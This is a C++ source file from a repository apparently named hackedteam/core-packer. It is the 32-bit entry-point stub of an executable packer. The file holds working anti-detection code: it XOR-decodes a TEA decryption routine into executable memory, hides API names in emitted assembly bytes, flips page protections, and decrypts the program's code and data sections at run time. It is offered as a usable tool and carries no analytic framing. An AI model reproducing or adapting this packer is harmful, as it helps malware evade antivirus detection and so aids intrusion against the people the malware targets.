hackedteam/core-packer

View on GitHub
core-packer/ExeEntryPoint32.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>

#include "symbols.h"

#include "rva.h"
#include "tea.h"
#include "macro.h"

#pragma section(".peexe32", read, write, execute)

typedef short relocation_entry;

/**
 *    !_configuration
 **/
typedef struct _configuration
{
    ULONG64            dwRelocSize;
    ULONG64            lpRelocAddress;
    ULONG64            _key0;
    ULONG64            _key1;
    ULONG64            _baseAddress;
    BYTE            decrypted;
} CONFIGURATION;

__declspec(allocate(".peexe32"))
CONFIGURATION exe_configuration = {
        0xBABECAFEBAD00021,
        0xBABECAFEBAD00020,
        0xBABECAFEBAD00010,
        0xBABECAFEBAD00011,
        0xBABECAFEBAD00100,
        FALSE
};

//__declspec(allocate(".peexe32"))
//VirtualProtect_ptr    _exe_VirtualProtect;

//__declspec(allocate(".peexe32"))
//VirtualAlloc_ptr    _exe_VirtualAlloc;


typedef struct base_relocation_block
{
    DWORD PageRVA;
    DWORD BlockSize;
} base_relocation_block_t;

typedef struct base_relocation_entry
{
    WORD offset : 12;
    WORD type : 4;
} base_relocation_entry_t;

#define relocation_block_t base_relocation_block_t
#define relocation_entry_t base_relocation_entry_t

#ifdef _BUILD32

extern "C" IMAGE_DOS_HEADER __ImageBase;


typedef SIZE_T (WINAPI *VirtualQuery_ptr)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);

#pragma code_seg(".peexe32")
static LPVOID rva2addr(PIMAGE_DOS_HEADER pImageDosHeader, PIMAGE_NT_HEADERS32 pImageNtHeaders32, LPVOID lpAddress)
{
    ULONG64 dwImageDosHeader = (ULONG) pImageDosHeader;    // new base address!
    ULONG64 dwAddress = (ULONG) lpAddress;    // rva

    if (dwAddress > pImageNtHeaders32->OptionalHeader.ImageBase)
        dwAddress -= pImageNtHeaders32->OptionalHeader.ImageBase;

    dwAddress += dwImageDosHeader;

    return (LPVOID) dwAddress;
}

#pragma code_seg(".peexe32")
void reloc_entry_get(relocation_entry *entry, short *type, long *offset)
{
    *type = ((*entry & 0xf000) >> 12);
    *offset = (*entry & 0x0fff);
    return;
}

#pragma code_seg(".peexe32")
static void Reloc_Process_Entry()
{

}

#pragma code_seg(".peexe32")
base_relocation_block_t* next_page(base_relocation_block_t *page)
{
    return CALC_OFFSET(base_relocation_block_t *, page, page->BlockSize);
}


#pragma code_seg(".peexe32")
static void Reloc_Process(LPVOID pModule, PIMAGE_NT_HEADERS32 pImageNtHeader, PIMAGE_SECTION_HEADER pSectionPointer, LPVOID lpRelocAddress, DWORD dwRelocSize, PIMAGE_SECTION_HEADER pTextPointer)
{
    if (dwRelocSize == 0 || lpRelocAddress == NULL)
    {
        return;    // no reloc table here!
    }

    //DWORD ImageBase = (DWORD) exe_configuration._baseAddress;
    DWORD delta = (DWORD) exe_configuration._baseAddress - (DWORD) pModule;

    base_relocation_block_t *relocation_page = (base_relocation_block_t *) lpRelocAddress;

#define RELOC_IN_RANGE(page, section) (page->PageRVA >= section->VirtualAddress) && (page->PageRVA <= (section->VirtualAddress + section->Misc.VirtualSize))

    // for each page!
    while(relocation_page->BlockSize > 0)
    {
        if (RELOC_IN_RANGE(relocation_page, pSectionPointer))
        {    // ok.. we can process this page!

            int BlockSize = relocation_page->BlockSize - 8;
            relocation_entry *entries = CALC_OFFSET(relocation_entry *, relocation_page, 8);

            while(BlockSize > 0)
            {
                short type;
                long offset;

                reloc_entry_get(entries, &type, &offset);

                ULONG *ptr = CALC_OFFSET(PULONG, pModule, offset + relocation_page->PageRVA);
                //ULONG value = *ptr;

                if (type == IMAGE_REL_BASED_HIGHLOW)
                {
                    *ptr += delta;
                }
                else if (type == IMAGE_REL_BASED_ABSOLUTE)
                {    // break!
                    break;
                }
        
                entries++;
                BlockSize -= 2;
            }

            relocation_page = next_page(relocation_page);
        }
    }

}

#pragma code_seg(".peexe32")
static void __memcpy(char *dst, char *src, int size)
{
    while(size-- > 0)
    {
        *dst++=*src++;
    }
}

typedef void (tea_decrypt_ptr)(uint32_t* v, uint32_t* k);

#pragma code_seg(".peexe32")
static tea_decrypt_ptr *load_decrypt()
{
    char *decrypt = (char *)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    void *start = static_cast<void *>(&tea_decrypt);
    void *end = static_cast<void *>(&tea_decrypt_end_marker);
    int size = static_cast<int>((int) end - (int) start);

    char *src = static_cast<char *>(start);
    char *dst = decrypt;

    while(size-- > 0) 
    {
        *dst ++ = (*src++ ^ 0x66); 
    }

    return (tea_decrypt_ptr *) decrypt;
}


#pragma code_seg(".peexe32")
static BOOL WINAPI decrypt(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hinstDLL;
    PIMAGE_NT_HEADERS32 pImageNtHeaders32 = CALC_OFFSET(PIMAGE_NT_HEADERS32, pImageDosHeader, pImageDosHeader->e_lfanew);
    
    tea_decrypt_ptr *decrypt = load_decrypt();

    if (pImageNtHeaders32->Signature != IMAGE_NT_SIGNATURE)
    {    // I'm invalid file?
        return FALSE;    
    }
    
    //short NumberOfSections = pImageNtHeaders32->FileHeader.NumberOfSections - 1;    // I'm on tail!!! please don't patch myself!
    short NumberOfSections = 2;
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pImageNtHeaders32);
        
    DWORD dwOldPermissions = NULL, dwDummy = 0;

    while(NumberOfSections > 0)
    {
        pSection++;
        LPDWORD NameDW = (LPDWORD) (pSection->Name);
        if (!((NameDW[1] == 0x74 && NameDW[0] == 0x7865742e) ||
            (NameDW[1] == 0x61 && NameDW[0] == 0x7461642e)))
        {
            continue;
        }

        
        NumberOfSections--;
        dwOldPermissions = 0;
        dwDummy = 0;

        //if ((pSection->Characteristics & IMAGE_SCN_MEM_SHARED) == IMAGE_SCN_MEM_SHARED)    // shared memory!
        //    continue;
        
        LPVOID lpAddress = rva2addr(pImageDosHeader, pImageNtHeaders32, (LPVOID) pSection->VirtualAddress);

        VirtualProtect(lpAddress, pSection->Misc.VirtualSize, PAGE_READWRITE, &dwOldPermissions);

        ULONG64 rc4key[2] = { exe_configuration._key0, exe_configuration._key1 };

        DWORD sbox[4];

        uint32_t *key = (uint32_t *) sbox;
        __memcpy((char *)key, (char *) rc4key, 16);
        LPDWORD encptr = (LPDWORD) lpAddress;

        for(DWORD dwPtr = 0; dwPtr < pSection->SizeOfRawData; dwPtr += 8, encptr += 2)
            decrypt((uint32_t *) encptr, key);

        VirtualProtect(lpAddress, pSection->Misc.VirtualSize, dwOldPermissions, &dwDummy);
        //pSection++;

    }
    

    NumberOfSections = pImageNtHeaders32->FileHeader.NumberOfSections - 1;    // I'm on tail!!! please don't patch myself!
    pSection = IMAGE_FIRST_SECTION(pImageNtHeaders32);
        
    while(NumberOfSections > 0)
    {
        pSection++;
        dwOldPermissions = 0;
        dwDummy = 0;
        NumberOfSections--;
        if (exe_configuration.decrypted == 0)    // relocation must be done only 1st time!
        {
            // apply reloc in current section!
            LPVOID lpAddress = rva2addr(pImageDosHeader, pImageNtHeaders32, (LPVOID) pSection->VirtualAddress);
            VirtualProtect(lpAddress, pSection->Misc.VirtualSize, PAGE_READWRITE, &dwOldPermissions);

            ULONG ptrReloc = CALC_OFFSET(ULONG, pImageDosHeader, (ULONG) exe_configuration.lpRelocAddress);
            Reloc_Process((LPVOID) pImageDosHeader, pImageNtHeaders32, pSection, (LPVOID) ptrReloc, exe_configuration.dwRelocSize, IMAGE_FIRST_SECTION(pImageNtHeaders32));
            VirtualProtect(lpAddress, pSection->Misc.VirtualSize, dwOldPermissions, &dwDummy);
        }
    }

    //
    return TRUE;
}

#endif

#ifdef _BUILD32
//#pragma code_seg(".peexe32")
//static BOOL bProcessed = FALSE;

struct _strings
{
    char *szKernel32;
    char szVirtualProtect[0x20];
    char szVirtualQuery[0x20];
    char szGetModuleFileNameA[0x40];
    char szGetModuleHandleA[0x40];
};

#pragma code_seg(".peexe32")
char* WINAPI LookString(LPBYTE lpText, short position)
{
    if (position == 0)
        return (char *) lpText;

    while(position > 0)
    {
        if (*lpText == 0)
        {
            position--;
        }

        lpText++;
    }

    return (char *) lpText;
}

#pragma code_seg(".peexe32")
void WINAPI __fuckcrt0startup(struct _strings *ptr)
{
    LPBYTE base;

    __asm
    {
        call    __end
__kernel32:        
        __emit 'k'
        __emit 'e'
        __emit 'r'
        __emit 'n'
        __emit 'e'
        __emit 'l'
        __emit '3'
        __emit '2'
        __emit 00h

__virtualquery:
        __emit 'V'
        __emit 'i'
        __emit 'r'
        __emit 't'
        __emit 'u'
        __emit 'a'
        __emit 'l'
        __emit 'Q'
        __emit 'u'
        __emit 'e'
        __emit 'r'
        __emit 'y'
        __emit 0x00

__getmodulefilenamea:
        __emit 'G'
        __emit 'e'
        __emit 't'
        __emit 'M'
        __emit 'o'
        __emit 'd'
        __emit 'u'
        __emit 'l'
        __emit 'e'
        __emit 'F'
        __emit 'i'
        __emit 'l'
        __emit 'e'
        __emit 'N'
        __emit 'a'
        __emit 'm'
        __emit 'e'
        __emit 'A'
        __emit 0x00
__getmodulehandlea:
        __emit 'G'
        __emit 'e'
        __emit 't'
        __emit 'M'
        __emit 'o'
        __emit 'd'
        __emit 'u'
        __emit 'l'
        __emit 'e'
        __emit 'H'
        __emit 'a'
        __emit 'n'
        __emit 'd'
        __emit 'l'
        __emit 'e'
        __emit 'A'
        __emit 0x00
    __end:
        pop    eax
        mov dword ptr [base], eax
    }

    //char szVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x00 };
    
    ptr->szKernel32 = LookString(base, 0);

    //__memcpy(ptr->szVirtualProtect, szVirtualProtect, sizeof(szVirtualProtect));
    __memcpy(ptr->szVirtualQuery, LookString(base, 1), sizeof(ptr->szVirtualQuery));
    __memcpy(ptr->szGetModuleFileNameA, LookString(base, 2), sizeof(ptr->szGetModuleFileNameA));
    __memcpy(ptr->szGetModuleHandleA, LookString(base, 3), sizeof(ptr->szGetModuleHandleA));
}

#pragma code_seg(".peexe32")
HANDLE WINAPI _heap_init (void)
{
    HANDLE h = NULL;
        if ( ( h = HeapCreate(0, 0, 0)) == NULL )
            return NULL;

    return h;
}

void WINAPI _heap_term (HANDLE _crtheap)
{
        //  destroy the large-block heap
        HeapDestroy(_crtheap);
        _crtheap=NULL;
}

#pragma code_seg(".peexe32")
static int __cdecl check_managed_app (
        void
        )
{
        PIMAGE_DOS_HEADER pDOSHeader;
        PIMAGE_NT_HEADERS pPEHeader;

        pDOSHeader = &__ImageBase;

        if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
            return 0;
        }

        pPEHeader = (PIMAGE_NT_HEADERS) ((BYTE *) pDOSHeader + pDOSHeader->e_lfanew);

        if (pPEHeader->Signature != IMAGE_NT_SIGNATURE)
        {
            return 0;
        }

        if (pPEHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC)
        {
            return 0;
        }

        /* prefast assumes we are overflowing __ImageBase */
#pragma warning(push)
#pragma warning(disable:26000)
        if (pPEHeader->OptionalHeader.NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR)
        {
            return 0;
        }
#pragma warning(pop)

        return pPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0;
}

#ifdef _WIN64
#define DEFAULT_SECURITY_COOKIE 0x00002B992DDFA232
#else  /* _WIN64 */
#define DEFAULT_SECURITY_COOKIE 0xBB40E64E
#endif  /* _WIN64 */

__declspec(allocate(".peexe32"))
UINT_PTR __security_cookie = DEFAULT_SECURITY_COOKIE;

__declspec(allocate(".peexe32"))
UINT_PTR __security_cookie_complement = ~(DEFAULT_SECURITY_COOKIE);

typedef union {
    unsigned __int64 ft_scalar;
    FILETIME ft_struct;
} FT;


#pragma code_seg(".peexe32")
void __cdecl __security_init_cookie(void)
{
    UINT_PTR cookie;
    FT systime={0};
    LARGE_INTEGER perfctr;

    /*
     * Do nothing if the global cookie has already been initialized.  On x86,
     * reinitialize the cookie if it has been previously initialized to a
     * value with the high word 0x0000.  Some versions of Windows will init
     * the cookie in the loader, but using an older mechanism which forced the
     * high word to zero.
     */

    if (__security_cookie != DEFAULT_SECURITY_COOKIE
#if defined (_X86_)
        && (__security_cookie & 0xFFFF0000) != 0
#endif  /* defined (_X86_) */
       )
    {
        //__security_cookie_complement = ~__security_cookie;
        return;
    }


    /*
     * Initialize the global cookie with an unpredictable value which is
     * different for each module in a process.  Combine a number of sources
     * of randomness.
     */

    GetSystemTimeAsFileTime(&systime.ft_struct);
#if defined (_WIN64)
    cookie = systime.ft_scalar;
#else  /* defined (_WIN64) */
    cookie = systime.ft_struct.dwLowDateTime;
    cookie ^= systime.ft_struct.dwHighDateTime;
#endif  /* defined (_WIN64) */

    cookie ^= GetCurrentProcessId();
    cookie ^= GetCurrentThreadId();
    cookie ^= GetTickCount();

    QueryPerformanceCounter(&perfctr);
#if defined (_WIN64)
    cookie ^= perfctr.QuadPart;
#else  /* defined (_WIN64) */
    cookie ^= perfctr.LowPart;
    cookie ^= perfctr.HighPart;
#endif  /* defined (_WIN64) */

#if defined (_WIN64)
    /*
     * On Win64, generate a cookie with the most significant word set to zero,
     * as a defense against buffer overruns involving null-terminated strings.
     * Don't do so on Win32, as it's more important to keep 32 bits of cookie.
     */
    cookie &= 0x0000FFFFffffFFFFi64;
#endif  /* defined (_WIN64) */

    /*
     * Make sure the cookie is initialized to a value that will prevent us from
     * reinitializing it if this routine is ever called twice.
     */

    if (cookie == DEFAULT_SECURITY_COOKIE)
    {
        cookie = DEFAULT_SECURITY_COOKIE + 1;
    }
#if defined (_X86_)
    else if ((cookie & 0xFFFF0000) == 0)
    {
        cookie |= ( (cookie|0x4711) << 16);
    }
#endif  /* defined (_X86_) */

    //__security_cookie = cookie;
    //__security_cookie_complement = ~cookie;

}

int stub0(DWORD dwParam)
{
    int initret;
    int mainret = 0;
    int managedapp;

    STARTUPINFOW StartupInfo;
    GetStartupInfoW(&StartupInfo);

    check_managed_app();
    struct _strings init;
    __fuckcrt0startup(&init);
    HANDLE hHeap = _heap_init();
        
    HMODULE h = LoadLibraryA(init.szKernel32);
    //VirtualProtect_ptr p = (VirtualProtect_ptr) GetProcAddress(h, init.szVirtualProtect);
    VirtualQuery_ptr _vquery = (VirtualQuery_ptr) GetProcAddress(h, init.szVirtualQuery);

    MEMORY_BASIC_INFORMATION buffer;

    _vquery(CALC_OFFSET(LPVOID, &__ImageBase, 0x1000), &buffer, sizeof(buffer));
    
    DWORD newptr = buffer.RegionSize + (DWORD) buffer.BaseAddress;

    _vquery((LPVOID) newptr, &buffer, sizeof(buffer));
    
    DWORD ignore0 = 0x32323232;
    DWORD ignore1 = 0x64646464;

    VirtualProtect((LPVOID) newptr, buffer.RegionSize, PAGE_EXECUTE_READWRITE, &ignore0);
    VirtualProtect((LPVOID) h, 0x1000, PAGE_READONLY, &ignore1);
    // = p;
    
    //exe_g_hKernel32 = (HMODULE) &__ImageBase;
        
    //GetModuleHandleA_ptr _GetModuleHandleA = (GetModuleHandleA_ptr) GetProcAddress(h, init.szGetModuleHandleA);

     //= _GetModuleHandleA(NULL);
            
    /*init.szVirtualProtect[7] = 'A';
    init.szVirtualProtect[8] = 'l';
    init.szVirtualProtect[9] = 'l';
    init.szVirtualProtect[0x0a] = 'o';
    init.szVirtualProtect[0x0b] = 'c';
    init.szVirtualProtect[0x0c] = 0x00;*/
    
    //if (exe_configuration.decrypted == 0)
        /*exe_configuration.decrypted = */decrypt((HINSTANCE) &__ImageBase, DLL_PROCESS_ATTACH, NULL);

    BOOL bConditions[4];
    bConditions[0] = ((dwParam >> 24) == 0x60);
    bConditions[1] = ((dwParam >> 16) & 0xff) == 0x0d;
    bConditions[2] = ((dwParam >> 8) & 0xff) == 0xb4;
    bConditions[3] = (dwParam & 0xff) == 0xb3;
    
    if (bConditions[0] && bConditions[1] && bConditions[2] && bConditions[3])
    {
        return 0;
    }
    return _CrtStartup((HINSTANCE) &__ImageBase);
}

#pragma code_seg(".peexe32")
_declspec(noreturn) 
    extern "C" VOID WINAPI __crt0Startup(DWORD dwParam)
{
    __security_init_cookie();
    stub0(dwParam);
}

#endif